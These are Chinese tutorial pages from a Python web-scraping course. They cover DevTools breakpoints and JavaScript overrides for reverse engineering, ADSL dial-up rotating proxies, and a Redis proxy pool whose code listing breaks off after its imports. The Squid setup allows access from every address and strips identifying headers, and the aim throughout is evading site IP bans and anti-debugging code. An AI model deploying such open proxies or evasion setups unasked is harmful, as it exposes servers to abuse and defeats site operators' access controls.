在 Scope 面板还有多个域,这里就不再展开介绍了。总之,通过 Scope 面板,我们可以看到当前执行环境下的变量的值和方法的定义,知道当前代码究竟执行了怎样的逻辑。

接下来切换到 Watch 面板,在这里可以自行添加想要查看的变量和方法,点击右上角的 + 号按钮,我们可以任意添加想要监听的对象,如图所示。

Watch 面板

比如这里我们比较关注 o.apply 是一个怎样的方法,于是点击添加 o.apply,这里就会把对应的方法定义呈现出来,展开之后可以再点击 FunctionLocation 定位其源码位置。

我们还可以切换到 Console 面板,输入任意的 JavaScript 代码,便会执行、输出对应的结果,如图所示。

Console 面板

如果我们想看看变量 arguments 的第一个元素是什么,那么可以直接敲入 arguments[0],便会输出对应的结果 MouseEvent,只要在当前上下文能访问到的变量都可以直接引用并输出。

此时我们还可以选择单步调试,这里有 3 个重要的按钮,如图所示。

单步调试按钮

这 3 个按钮都可以做单步调试,但功能不同。

  • Step Over Next Function Call:逐语句执行
  • Step Into Next Function Call:进入方法内部执行
  • Step Out of Current Function:跳出当前方法

用得较多的是第一个,相当于逐行调试,比如点击 Step Over Next Function Call 这个按钮,就运行到了 4447 行,高亮的位置就变成了这一行,如图所示。

点击 Step Over Next Function Call 按钮

5. 观察调用栈

在调试的过程中,我们可能会跳到一个新的位置,比如点击上述 Step Over Next Function Call 几下,可能会跳到一个叫作 ct 的方法中,这时候我们也不知道发生了什么,如图所示。

跳到 ct 方法中

那究竟是怎么跳过来的呢?我们可以观察一下右侧的 Call Stack 面板,就可以看到全部的调用过程了。比如它的上一步是 ot 方法,再上一步是 pt 方法,点击对应的位置也可以跳转到对应的代码位置,如图所示。

Call Stack 面板

有时候调用栈是非常有用的,利用它我们可以回溯某个逻辑的执行流程,从而快速找到突破口。

6. 恢复 JavaScript 执行

在调试过程中,如果想快速跳到下一个断点或者让 JavaScript 代码运行下去,可以点击 Resume script execution 按钮,如图所示。

Resume script execution 按钮

这时浏览器会直接执行到下一个断点的位置,从而避免陷入无穷无尽的调试中。

当然,如果没有其他断点了,浏览器就会恢复正常状态。比如这里我们就没有再设置其他断点了,浏览器直接运行并加载了下一页的数据,同时页面恢复正常,如图所示。

浏览器恢复正常状态

7. Ajax 断点

上面我们介绍了一些 DOM 节点的 Listener,通过 Listener 我们可以手动设置断点并进行调试。但其实针对这个例子,通过翻页的点击事件 Listener 是不太容易找到突破口的。

接下来我们再介绍一个方法—— Ajax 断点,它可以在发生 Ajax 请求的时候触发断点。对于这个例子,我们的目标其实就是找到 Ajax 请求的那一部分逻辑,找出加密参数是怎么构造的。可以想到,通过 Ajax 断点,使页面在获取数据的时候停下来,我们就可以顺着找到构造 Ajax 请求的逻辑了。

怎么设置呢?

我们把之前的断点全部取消,切换到 Sources 面板下,然后展开 XHR/fetch Breakpoints,这里就可以设置 Ajax 断点,如图所示。

展开 XHR/fetch Breakpoints

要设置断点,就要先观察 Ajax 请求。和之前一样,我们点击翻页按钮 2,在 Network 面板里面观察 Ajax 请求是怎样的,请求的 URL 如图所示。

请求的 URL

可以看到 URL 里面包含 /api/movie 这样的内容,所以我们可以在刚才的 XHR/fetch Breakpoints 面板中添加拦截规则。点击 + 号,可以看到一行 Break when URL contains: 的提示,意思是当 Ajax 请求的 URL 包含填写的内容时,会进入断点停止,这里可以填写 /api/movie,如图所示。

这时候我们再点击翻页按钮 3,触发第 3 页的 Ajax 请求。会发现点击之后页面走到断点停下来了,如图所示。

断点调试模式

格式化代码看一下,发现它停到了 Ajax 最后发送的那个时候,即底层的 XMLHttpRequestsend 方法,可是似乎还是找不到 Ajax 请求是怎么构造的。前面我们讲过调用栈 Call Stack,通过调用栈是可以顺着找到前序调用逻辑的,所以顺着调用栈一层层找,也可以找到构造 Ajax 请求的逻辑,最后会找到一个叫作 onFetchData 的方法,如图所示。

找到 onFetchData 方法

接下来切换到 onFetchData 方法并将代码格式化,可以看到如图所示的调用方法。

调用方法

可以发现,可能使用了 axios 库发起了一个 Ajax 请求,还有 limitoffsettoken 这 3 个参数,基本就能确定了,顺利找到了突破口!我们就不在此展开分析了,后文会有完整的分析实战。

因此在某些情况下,我们可以在比较容易地通过 Ajax 断点找到分析的突破口,这是一个常见的寻找 JavaScript 逆向突破口的方法。

要取消断点也很简单,只需要在 XHR/fetch Breakpoints 面板取消勾选即可,如图所示。

取消断点

8. 改写 JavaScript 文件

我们知道,一个网页里面的 JavaScript 是从对应服务器上下载下来并在浏览器执行的。有时候,我们可能想要在调试的过程中对 JavaScript 做一些更改,比如说有以下需求:

  • 发现 JavaScript 文件中包含很多阻挠调试的代码或者无效代码、干扰代码,想要将其删除。

  • 调试到某处,想要加一行 console.log 输出一些内容,以便观察某个变量或方法在页面加载过程中的调用情况。在某些情况下,这种方法比打断点调试更方便。

  • 调试过程遇到某个局部变量或方法,想要把它赋值给 window 对象以便全局可以访问或调用。

  • 在调试的时候,得到的某个变量中可能包含一些关键的结果,想要加一些逻辑将这些结果转发到对应的目标服务器。

这时候我们可以试着在 Sources 面板中对 JavaScript 进行更改,但这种更改并不能长久生效,一旦刷新页面,更改就全都没有了。比如我们在 JavaScript 文件中写入一行 JavaScript 代码,然后保存,如图所示。

在 JavaScript 文件中写入一行 JavaScript 代码

这时候可以发现 JavaScript 文件上出现了一个感叹号标志,提示我们做的更改是不会保存的。这时候重新刷新页面,再看一下更改的这个文件,如图所示。

刷新页面后的 JavaScript 文件

有什么方法可以修改呢?其实有一些浏览器插件可以实现,比如 ReRes。在插件中,我们可以添加自定义的 JavaScript 文件,并配置 URL 映射规则,这样浏览器在加载某个在线 JavaScript 文件的时候就可以将内容替换成自定义的 JavaScript 文件了。另外,还有一些代理服务器也可以实现,比如 Charles、Fiddler,借助它们可以在加载 JavaScript 文件时修改对应 URL 的响应内容,以实现对 JavaScript 文件的修改。

其实浏览器的开发者工具已经原生支持这个功能了,即浏览器的 Overrides 功能,它在 Sources 面板左侧,如图所示。

Overrides 功能

我们可以在 Overrides 面板上选定一个本地的文件夹,用于保存需要更改的 JavaScript 文件,我们来实际操作一下。

首先,根据上文设置 Ajax 断点的方法,找到对应的构造 Ajax 请求的位置,根据一些网页开发知识,我们可以大体判断出 then 后面的回调方法接收的参数 a 中就包含了 Ajax 请求的结果,如图所示。

我们打算在 Ajax 请求成功获得 Response 的时候,在控制台输出 Response 的结果,也就是通过 console.log 输出变量 a

再切回 Overrides 面板,点击 + 按钮,这时候浏览器会提示我们选择一个本地文件夹,用于存储要替换的 JavaScript 文件。这里我选定了一个我任意新建的文件夹 ChromeOverrides,注意,这时候可能会遇到如图所示的提示,如果没有问题,直接点击“允许”即可。

弹出提示

这时,在 Overrides 面板下就多了一个 ChromeOverrides 文件夹,用于存储所有我们想要更改的 JavaScript 文件,如图所示。

Overrides 面板下出现 ChromeOverrides 文件夹

我们可以看到,现在所在的 JavaScript 选项卡是 chunk-19c920f8.012555a2.js:formatted,代码已经被格式化了。因为格式化后的代码是无法直接在浏览器中修改的,所以为了方便,我们可以将格式化后的文件复制到文本编辑器中,然后添加一行代码,修改如下:

1
2
3
4
5
6
7
8
...
}).then((function(a) {
console.log('response', a) // 添加一行代码
var e = a.data
, s = e.results
, n = e.count;
t.loading = !1,
...

接着把修改后的内容替换到原来的 JavaScript 文件中。这里要注意,切换到 chunk-19c920f8.012555a2.js 文件才能修改,直接替换 JavaScript 文件的所有内容即可,如图所示。

替换 JavaScript 文件的所有内容

替换完毕之后保存,这时候再切换回 Overrides 面板,就可以发现成功生成了新的 JavaScript 文件,它用于替换原有的 JavaScript 文件,如图所示。

生成了新的 JavaScript 文件

好,此时我们取消所有断点,然后刷新页面,就可以在控制台看到输出的 Reponse 结果了,如图所示。

Reponse 结果

正如我们所料,我们成功将变量 a 输出,其中的 data 字段就是 Ajax 的 Response 结果,证明改写 JavaScript 成功!而且刷新页面也不会丢失了。

我们还可以增加一些 JavaScript 逻辑,比如直接将变量 a 的结果通过 API 发送到远程服务器,并通过服务器将数据保存下来,也就完成了直接拦截 Ajax 请求并保存数据的过程了。

修改 JavaScript 文件有很多用途,此方案可以为我们进行 JavaScript 的逆向带来极大的便利。

9. 总结

本节总结了一些浏览器开发者工具中对 JavaScript 逆向非常有帮助的功能,熟练掌握了这些功能会对后续 JavaScript 逆向分析打下坚实的基础,请大家好好研究。

Python

系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

我们在前面尝试维护过一个代理池,代理池可以挑选出许多可用代理,但是常常其稳定性不高、响应速度慢,而且这些代理通常是公共代理,可能不止一人同时使用,其 IP 被封的概率很大。另外,这些代理可能有效时间比较短,虽然代理池一直在筛选,但如果没有及时更新状态,也有可能获取到不可用的代理。

上一节我们也了解了付费代理的使用,付费代理的质量相对免费代理就会好不少,这的确已经是一个相对不错的方案了,但本节要介绍的方案可以使我们既能不断更换代理,又可以保证代理的稳定性。

在一些付费代理套餐中,大家可能会注意到有这样的一个套餐 - 独享代理或私密代理,这种其实就是用了专用服务器搭建了代理服务,相对一般的付费代理来说,其稳定性更好,速度也更快,同时 IP 可以动态变化。这种独享代理或私密代理的 IP 切换大多数都是基于 ADSL 拨号机制来实现的,一台云主机每拨号一次就可以换一个 IP,同时云主机上搭建了代理服务,我们就可以直接使用该云主机的 HTTP 代理来进行数据爬取了。

本节我们就来实际操作一下搭建 ADSL 拨号代理服务的方法。

1. 什么是 ADSL

ADSL,英文全称是 Asymmetric Digital Subscriber Line,即非对称数字用户环路。它的上行和下行带宽不对称,它采用频分复用技术把普通的电话线分成了电话、上行和下行 3 个相对独立的信道,从而避免了相互之间的干扰。

ADSL 通过拨号的方式上网,拨号时需要输入 ADSL 账号和密码,每次拨号就更换一个 IP。IP 分布在多个 A 段,如果 IP 都能使用,则意味着 IP 量级可达千万。如果我们将 ADSL 主机作为代理,每隔一段时间云主机拨号就换一个 IP,这样可以有效防止 IP 被封禁。另外,由于我们是直接使用专有的云主机搭建的代理服务,所以其代理的稳定性相对更好,代理响应速度也相对更快。

2. 准备工作

在本节开始之前,我们需要先购买几台 ADSL 代理云主机,建议 2 台或以上。因为云主机在拨号的一瞬间服务器正在切换 IP,所以拨号之后代理是不可用的状态,所以需要 2 台及以上云主机来做负载均衡。

ADSL 代理云主机的服务商还是比较多的,个人推荐的有阿斯云、云立方等,其官网分别为:

  • 阿斯云:https://asiyun.cn/
  • 云立方:https://www.yunlifang.cn/

本节案例中,我们以阿斯云为例,购买了一台电信型同时安装了 CentOS Linux 系统的云主机。

购买成功之后,我们可以在后台找到服务器的连接 IP、端口、用户名、密码,拨号所用的用户名和密码,如图所示:

image-20210711154649835

然后找到远程管理面板 − 远程连接的用户名和密码,也就是 SSH 远程连接服务器的信息。比如我使用的 IP 和端口是 zhongweidx01.jsq.bz:30042,用户名是 root,命令行下输入如下内容:

1
ssh root@zhongweidx01.jsq.bz -p 30042

输入连接密码,就可以连接上远程服务器了,如图所示:

image-20210711122126383

登录成功之后,我们便可以开始本节的正式内容了。

3. 测试拨号

云主机默认已经配置了拨号相关的信息,如宽带用户名和密码等,所以我们无需额外进行配置,只需要调用相应的拨号命令即可实现拨号和 IP 地址的切换。

我们可以输入如下拨号命令来进行拨号:

1
pppoe-start

拨号命令成功运行,没有报错信息,耗时约几秒,结束之后整个主机就获得了一个有效的 IP 地址。

如果要停止拨号,可以输入如下命令:

1
pppoe-stop

运行完该命令后,网络就会断开,之前的 IP 地址也会被释放。

注意:不同的云主机的拨号命令可能不同,如云立方主机的拨号命令为 adsl-startadsl-stop,请以官方文档的说明为准。

所以,如果要想切换 IP,我们只需要将上面的两个命令组合起来,先执行 pppoe-stop,再执行 pppoe-start。每次拨号,ifconfig 命令观察主机的 IP,如图所示:

image-20210711123026267

可以看到,这里我们执行了停止和开始拨号的命令之后,通过 ifconfig 命令获取的网卡信息的 IP 地址就变化了,所以我们成功实现了 IP 地址的切换。

好,那如果我们要想将这台云主机设置为可以实时变化 IP 的代理服务器的话,主要就有这几件事情:

  • 在云主机上运行代理服务软件,使之可以提供 HTTP 代理服务
  • 实现云主机定时拨号更换 IP
  • 实时获取云主机的代理 IP 和端口信息

接下来我们就来完成这几部分内容吧。

4. 设置代理服务器

当前我们使用的云主机使用的是 Linux 的 CentOS 系统,目前它是无法作为一个 HTTP 代理服务器来使用的,因为该云主机上面目前并没有运行相关的代理软件。要想让该云主机提供 HTTP 代理服务,我们需要在其上面安装并运行相关的代理服务。

那什么软件能提供这种代理服务呢?目前业界比较流行的有 Squid 和 TinyProxy,配置完成之后它们会在特定端口上运行一个 HTTP 代理。知道了该云主机当前的 IP 之后,我们就能使用该云主机上 Squid 或 TinyProxy 提供的 HTTP 代理了。

这里我们以 Squid 为例来进行一下配置。

首先我们安装一下 Squid,在 CentOS 的安装命令如下:

1
2
sudo yum -y update
yum -y install squid

运行完之后,我们便可以成功安装好 Squid 了。

如果要想启动 Squid,可以运行如下命令:

1
systemctl start squid

如果想配置开机自动启动,可以运行如下命令:

1
systemctl enable squid

Squid 成功运行之后,我们可以使用如下命令查看当前 Squid 的运行状态:

1
systemctl status squid

如图所示,我们可以看到 Squid 就成功运行了:

image-20210711132337727

默认情况下,Squid 会运行在 3128 端口,也就是相当于在云主机的 127.0.0.1:3128 上启动了代理服务,接下来我们可以来测试下 Squid 的代理效果,在该台云主机上运行 curl 命令请求 https://httpbin.org,并配置使用云主机的代理:

1
curl -x http://127.0.0.1:3128 https://httpbin.org/get

这里 curl 的 -x 参数代表设置 HTTP 代理,由于这是在云主机上运行的,所以代理直接设置为了 http://127.0.0.1:3128。

运行完毕之后,我们再运行下 ifconfig 获取下当前云主机的 IP,运行结果如图所示:

image-20210711133237708

可以看到返回结果的 origin 字段的 IP 就和 ifconfig 获取的 IP 地址是一致的。

接下来,我们在自己本机上(非云主机)运行如下命令测试下代理的连通情况,这里 IP 就需要更换为云主机本身的 IP 了,刚才可以看到云主机当前拨号的 IP 是 106.45.104.166,所以需要运行如下命令:

1
curl -x http://106.45.104.166:3128 https://httpbin.org/get

然而发现并没有对应的输出结果,代理连接失败。

其实原因在于默认情况下 Squid 并没有开启允许外网访问,我们可以进行 Squid 的相关配置,如更改当前代理运行端口、允许连接的 IP,配置高匿代理等等,这些都需要修改 /etc/squid/squid.conf 文件。

要允许公网访问,最简单的方案就是将 /etc/squid/squid.conf 中的该行:

1
http_access deny all

修改为:

1
http_access allow all

意思是允许来自所有 IP 的请求连接。

另外还需要在配置文件的开头 acl 配置的部分添加该行内容:

1
acl all src 0.0.0.0/0

另外我们还想将 Squid 配置成高度匿名代理,这样目标网站就无从通过一些参数如 X-Forwarded-For 来得知爬虫机本身的 IP 了,所以在配置文件中再添加如下配置:

1
2
request_header_access Via deny all
request_header_access X-Forwarded-For deny all

另外有的云主机厂商可能默认封禁了 Squid 的 3128 端口,建议更换一个端口,比如 3328,修改改行:

1
http_port 3128

修改为:

1
http_port 3328

修改完配置之后保存配置文件,然后重新启动 Squid 即可:

1
systemctl restart squid

这时候在本机上(非云主机)重新运行刚才的 curl 命令,同时更改下端口:

1
curl -x http://106.45.104.166:3328 https://httpbin.org/get

即可得到返回结果:

1
2
3
4
5
6
7
8
9
10
11
{
"args": {},
"headers": {
"Accept": "*/*",
"Host": "httpbin.org",
"User-Agent": "curl/7.64.1",
"X-Amzn-Trace-Id": "Root=1-60ea8fc0-0701b1494e4680b95889cdb1"
},
"origin": "106.45.104.166",
"url": "https://httpbin.org/get"
}

这时候我们就可以在本机上直接使用云主机的代理了!

5. 动态获取 IP

现在我们已经可以执行命令让主机动态切换 IP 了,同时也在主机上搭建好代理服务器了,接下来我们只需要知道拨号后的 IP 就可以使用代理了。

那怎么动态获取拨号主机的 IP 呢?又怎么来维护这些代理呢?怎么保证获取到的代理一定是可用的呢?这时候我们可能想到一些问题:

  • 如果我们只有一台拨号云主机并设置了定时拨号的话,那么在拨号的几秒时间内,该云主机提供的代理服务是不可用的。
  • 如果我们不用定时拨号的方法,而想要在爬虫端控制拨号云主机的拨号操作的话,爬虫端还需要单独的逻辑来处理拨号和重连的问题,这会带来额外的开销。

综合考虑下来,一个比较好的解决方案是:

  • 为了不增加爬虫端的逻辑开销,爬虫端应该无需关心拨号云主机的拨号操作,我们只需要保证爬虫通过某个接口获取到的代理是可用的就行了,拨号云主机的代理的维护逻辑和爬虫是毫不相关的。
  • 为了解决一台拨号云主机在拨号时代理不可用的问题,我们需要有多台云主机同时提供代理服务,我们可以将不同云主机的拨号时段错开,当一台云主机正在拨号时,我们可以用其他云主机顶替。

  • 为了更加方便地维护和使用代理,我们可以像前文介绍的代理池一样把这些云主机的代理统一维护起来,所有拨号云主机的代理统一存储到一个公共的 Redis 数据库中,可以使用 Redis 的 Hash 存储方式,存好每台云主机和对应代理的映射关系。拨号云主机拨号前将自己对应的代理内容清空,拨号成功之后再将代理更新,这样 Redis 数据库中的代理就一定是实时可用的代理了。

利用这种思路,我们要做的其实就有如下几点:

  • 配置一个可以公网访问的 Redis 数据库,每台云主机可以将自己的代理存储到对应的 Redis 数据库中,由该 Redis 数据库维护这些代理。
  • 申请多台拨号云主机并按照上文所述配置好 Squid 代理服务,每台云主机设置定时拨号来更换 IP。
  • 每台云主机在拨号前删除 Redis 数据库中原来的代理,拨号成功之后测试一下代理的可用性,将最新的代理更新到 Redis 数据库中即可。

OK,接下来我们就来操作一下吧。

由于云主机要进行 Redis 数据库的操作,所以我们可以使用 Python 来实现,所以先在云主机上装下 Python:

1
yum -y install python3

关于自动拨号、连接 Redis 数据库、获取本机代理、设置 Redis 数据库的操作,我已经写好了一个 Python 的包并发布到 PyPi 了,我们可以直接使用这个包来完成如上的功能,这个包叫做 adslproxy,可以在云主机上使用 pip3 来安装:

1
pip3 install adslproxy

安装完毕之后,我们可以使用 export 命令设置下环境变量:

1
2
3
4
5
6
7
8
export REDIS_HOST=<Redis数据库的地址>
export REDIS_PORT=<Redis数据库的端口>
export REDIS_PASSWORD=<Redis数据库的密码>
export PROXY_PORT=<拨号云主机配置的代理端口>
export DIAL_BASH=<拨号脚本>
export DIAL_IFNAME=<网卡名称>
export CLIENT_NAME=<云主机的唯一标识>
export DIAL_CYCLE=<拨号间隔>

这里 REDIS_HOST、REDIS_PORT、REDIS_PASSWORD 就是远程 Redis 的连接信息,就不再赘述了。PROXY_PORT 就是云主机上代理服务的端口,我们已经设置为了 3328。DIAL_BASH 就是拨号的命令,即 pppoe-stop;pppoe-start,当然该脚本的内容不同的云主机厂商可能不同,以实际为准。DIAL_IFNAME 即拨号云主机上的网卡名称,程序可以通过获取该网卡的信息来获取当前拨号主机的 IP 地址,通过上述操作可以发现,网卡名称叫做 ppp0,当然这个名称也是以实际为准。CLIENT_NAME 就是云主机的唯一标识,用来在 Redis 中存储主机和代理的映射,因为我们有多台云主机,所以不同云主机的名称应该设置为不同的字符串,比如 adsl1、adsl2 等等。

这里我们设置如图所示:

image-20210711152355780

设置好环境变量之后,我们就可以运行 adslproxy 命令来进行拨号了,命令如下:

1
adslproxy send

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
2021-07-11 15:30:03.062 | INFO     | adslproxy.sender.sender:loop:90 - Starting dial...
2021-07-11 15:30:03.063 | INFO | adslproxy.sender.sender:run:99 - Dial started, remove proxy
2021-07-11 15:30:03.063 | INFO | adslproxy.sender.sender:remove_proxy:62 - Removing adsl1...
2021-07-11 15:30:04.065 | INFO | adslproxy.sender.sender:remove_proxy:69 - Removed adsl1 successfully
2021-07-11 15:30:05.373 | INFO | adslproxy.sender.sender:run:111 - Get new IP 106.45.105.33
2021-07-11 15:30:15.552 | INFO | adslproxy.sender.sender:run:120 - Valid proxy 106.45.105.33:3328
2021-07-11 15:30:16.501 | INFO | adslproxy.sender.sender:set_proxy:82 - Successfully set proxy 106.45.105.33:3328
2021-07-11 15:33:36.678 | INFO | adslproxy.sender.sender:loop:90 - Starting dial...
2021-07-11 15:33:36.679 | INFO | adslproxy.sender.sender:run:99 - Dial started, remove proxy
2021-07-11 15:33:36.680 | INFO | adslproxy.sender.sender:remove_proxy:62 - Removing adsl1...
2021-07-11 15:33:37.214 | INFO | adslproxy.sender.sender:remove_proxy:69 - Removed adsl1 successfully
2021-07-11 15:33:38.617 | INFO | adslproxy.sender.sender:run:111 - Get new IP 106.45.105.219
2021-07-11 15:33:48.750 | INFO | adslproxy.sender.sender:run:120 - Valid proxy 106.45.105.219:3328
...

这里我们就可以看到,因为云主机在拨号之后当前代理就会失效了,所以在拨号之前程序先尝试从 Redis 中删除当前云主机的代理。接下来就开始执行拨号操作,拨号成功之后验证一下代理是可用的,然后再将该代理存储到 Redis 数据库中。循环往复运行,我们就达到了定时更换 IP 的效果,同时 Redis 数据库中也是实时可用的代理。

最后按照同样的配置,我们可以购买多台拨号云主机并进行如上同样的设置,这样就有多个稳定的定时更新的代理可用了,Redis 中会实时更新各台云主机的代理,如图所示。

图中所示是四台 ADSL 拨号云主机配置并运行后 Redis 数据库中的内容,其中的代理都是实时可用的。

6. 使用代理

那怎么使用代理呢?我们可以在任意可以公网访问的云主机上连接刚才的 Redis 数据库并搭建一个 API 服务即可。怎么搭建呢?我们可以同样使用刚才的 adslproxy 库,该库也提供了 API 服务的功能。

为了方便测试,我们在本机进行测试,安装好 adslproxy 包之后,然后设置好 REDIS 相关的环境变量:

1
2
3
export REDIS_HOST=<Redis数据库的地址>
export REDIS_PORT=<Redis数据库的端口>
export REDIS_PASSWORD=<Redis数据库的密码>

然后运行如下命令启动即可:

1
2020-07-11 16:31:58.651 | INFO     | adslproxy.server.server:serve:68 - API listening on http://0.0.0.0:8425

可以看到 API 服务就在 8425 端口上运行了,我们打开浏览器即可访问首页,如图所示:

image-20210711153319974

其中最重要的就是 random 接口了,我们使用 random 接口即可获取 Redis 数据库中的一个随机代理,如图所示:

image-20210711153419543

测试下可用性也没有问题,这样爬虫就可以使用这个代理来进行数据爬取了。

最后,我们将 API 服务部署一下,这个 ADSL 代理服务就可以像代理池一样被使用了,每请求一次 API 就可以获取一个实时可用代理,不同的时间段这个代理就会实时更换,而且连接稳定速度又快,实在是网络爬虫的最佳搭档。

7. 总结

本节我们介绍了 ADSL 拨号代理的搭建过程。通过这种代理,我们可以无限次更换 IP,而且线路非常稳定,爬虫抓取效果也会好很多。

本节代码:https://github.com/Python3WebSpider/AdslProxy

Python

爬虫系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

我们在上一节中了解了各个请求库设置代理的各个方法,但是如何实时高效地获取到大量可用的代理是一个问题。

首先,在互联网上有大量公开的免费代理。当然,我们也可以购买付费的代理 IP,但是代理不论是免费的还是付费的,都不能保证是可用的,因为此 IP 可能被其他人用来爬取同样的目标站点而被封禁,或者代理服务器突然发生故障或网络繁忙。一旦我们选用了一个不可用的代理,这势必会影响爬虫的工作效率。

所以,我们需要提前做筛选,将不可用的代理剔除掉,保留可用代理。

那么,怎么实现呢?这就需要借助于一个叫作代理池的东西了。

接下来,本节就来介绍一下如何搭建一个高效易用的代理池。

1.准备工作

这里代理池的存储需要借助于 Redis,因此需要额外安装它。总体来说,本节需要的环境如下:

  • 需要安装并成功运行和连接一个 Redis 数据库,Redis 运行在本地或者远端服务器都可以,只要能正常连接就行,安装方式可以参考:https://setup.scrape.center/redis

  • 安装好一些必要的库,包括 aiohttp、requests、redis-py、pyquery、Flask、loguru 等,安装命令如下:

    1
    pip3 install aiohttp requests redis pyquery flask loguru

做好了如上准备工作,我们便可以开始实现或运行本节所讲的代理池了。

2.代理池的目标

我们需要做到下面几个目标来实现易用高效的代理池。

代理池基本模块分为 4 部分:存储模块、获取模块、检测模块和接口模块,其功能如下:

  • 存储模块:负责存储抓取下来的代理。首先要保证代理不重复,要标识代理的可用情况,还要动态实时处理每个代理,所以一种比较高效和方便的存储方式就是使用 Redis 的 Sorted Set,即有序集合。
  • 获取模块:需要定时在各大代理网站抓取代理。代理既可以是免费公开代理,也可以是付费代理,代理的形式都是 IP 加端口。此模块尽量从不同来源获取,尽量抓取高匿代理,抓取成功之后将可用代理保存到数据库中。
  • 检测模块:需要定时检测数据库中的代理。这里需要设置一个检测链接,最好是爬取哪个网站就检测哪个网站,这样更加有针对性。如果要做一个通用型的代理,可以设置百度等链接来检测。另外,我们需要标识每一个代理的状态,如设置分数标识,100 分代表可用,分数越少代表越不可用。检测一次,如果代理可用,我们可以将分数标识立即设置为 100 满分,也可以在原基础上加 1 分;如果代理不可用,可以将分数标识减 1 分,当分数减到一定阈值后,代理就直接从数据库移除。通过这样标识分数,我们就可以辨别代理的可用情况,选用的时候会更有针对性。
  • 接口模块:需要用 API 来提供对外服务的接口。其实我们可以直接连接数据库来取对应的数据,但是这样就需要知道数据库的连接信息,并且要配置连接,而比较安全和方便的方式就是提供一个 Web API 接口,我们通过访问接口即可拿到可用代理。另外,由于可用代理可能有多个,所以我们可以设置一个随机返回某个可用代理的接口,这样就能保证每个可用代理都可以取到,实现负载均衡。

以上内容是设计代理的一些基本思路。接下来,我们设计整体的架构,然后用代码实现代理池。

3. 代理池的架构

根据上文的描述,代理池的架构如图所示。

图中所示的代理池分为 4 个模块:存储模块、获取模块、检测模块和接口模块:

  • 存储模块使用 Redis 的有序集合,用来做代理的去重和状态标识,同时它也是中心模块和基础模块,用于将其他模块串联起来。
  • 获取模块定时从代理网站获取代理,将获取的代理传递给存储模块,并保存到数据库。
  • 检测模块定时通过存储模块获取所有代理,并对代理进行检测,根据不同的检测结果对代理设置不同的标识。
  • 接口模块通过 Web API 提供服务接口,接口通过连接数据库并通过 Web 形式返回可用的代理。

4.代理池的实现

接下来,我们分别用代码来实现一下这 4 个模块。

注意:完整的代理池代码量较大,因此本节的代码我们不再一步步跟着编写,最后去了解源码即可,源码地址为:https://github.com/Python3WebSpider/ProxyPool

存储模块

这里我们使用 Redis 的有序集合,集合中的每一个元素都是不重复的。对于代理池来说,集合中的元素就变成了一个个代理,也就是 IP 加端口的形式,如 60.207.237.111:8888。另外,有序集合的每一个元素都有一个分数字段,分数是可以重复的,既可以是浮点数类型,也可以是整数类型。该集合会根据每一个元素的分数对集合进行排序,数值小的排在前面,数值大的排在后面,这样就可以实现集合元素的排序了。

对于代理池来说,这个分数可以作为判断一个代理是否可用的标志:100 为最高分,代表最可用;0 为最低分,代表最不可用。如果要获取可用代理,可以从代理池中随机获取分数最高的代理。注意这里是随机,这样可以保证每个可用代理都会被调用到。

分数是我们判断代理稳定性的重要标准。设置分数的规则如下所示。

  • 分数 100 为可用,检测器会定时循环检测每个代理的可用情况。一旦检测到有可用的代理,就立即置为 100;如果检测到不可用,就将分数减 1,分数减至 0 后代理移除。
  • 新获取的代理的分数为 10,如果测试可行,分数立即置为 100,不可行则将分数减 1,分数减至 0 后代理移除。

这只是一种解决方案,当然可能还有更合理的方案。之所以设置此方案,有如下几个原因。

  • 在检测到代理可用时,分数立即置为 100,这样可以保证所有可用代理有更大的机会被获取到。你可能会问,为什么不将分数加 1 而是直接将其设为最高值 100 呢?设想一下,有的代理是从各大免费公开代理网站获取的,常常一个代理并没有那么稳定,平均 5 次请求可能有 2 次成功,3 次失败。如果按照这种方式来设置分数,那么这个代理几乎不可能达到一个高的分数,也就是说即便它有时是可用的,但是筛选的分数最高,那这样的代理几乎不可能被取到。如果想追求代理稳定性,可以用上述方法,这种方法可确保分数最高的代理一定是最稳定可用的。所以,这里我们采取 “可用即设置 100” 的方法,确保只要可用的代理都可以被获取到。
  • 在检测到代理不可用时,分数减 1,分数减至 0 后,代理移除。这样一个有效代理如果被移除,需要连续不断失败 100 次。也就是说,当一个可用代理尝试了 100 次都失败了,就一直减分直到移除,一旦成功,就重新置回 100。尝试机会越多,这个代理拯救回来的机会越多,这样就不容易将曾经的一个可用代理丢弃,因为代理不可用的原因很可能是网络繁忙或者其他人用此代理请求太过频繁,所以这里将分数设为 100。
  • 将新获取的代理的分数设置为 10,如果它不可用,分数就减 1,直到减到 0 就移除;如果代理可用,分数就置为 100。由于很多代理是从免费网站获取的,所以新获取的代理无效的比例非常高,可能可用的代理不足 10%。这里我们将分数设置为 10,检测的机会没有可用代理的 100 次那么多,这也可以适当减少开销。

上述代理分数的设置思路不一定是最优思路,但据个人实测,它的实用性还是比较强的。

这里首先给出存储模块的实现代码,见 https://github.com/Python3WebSpider/ProxyPool/tree/master/proxypool/storages,建议直接对照源码阅读。

在代码中,我们定义了一个类来操作数据库的有序集合,定义了一些方法来实现分数的设置、代理的获取等。其核心实现代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
import redis
from proxypool.exceptions import PoolEmptyException
from proxypool.schemas.proxy import Proxy
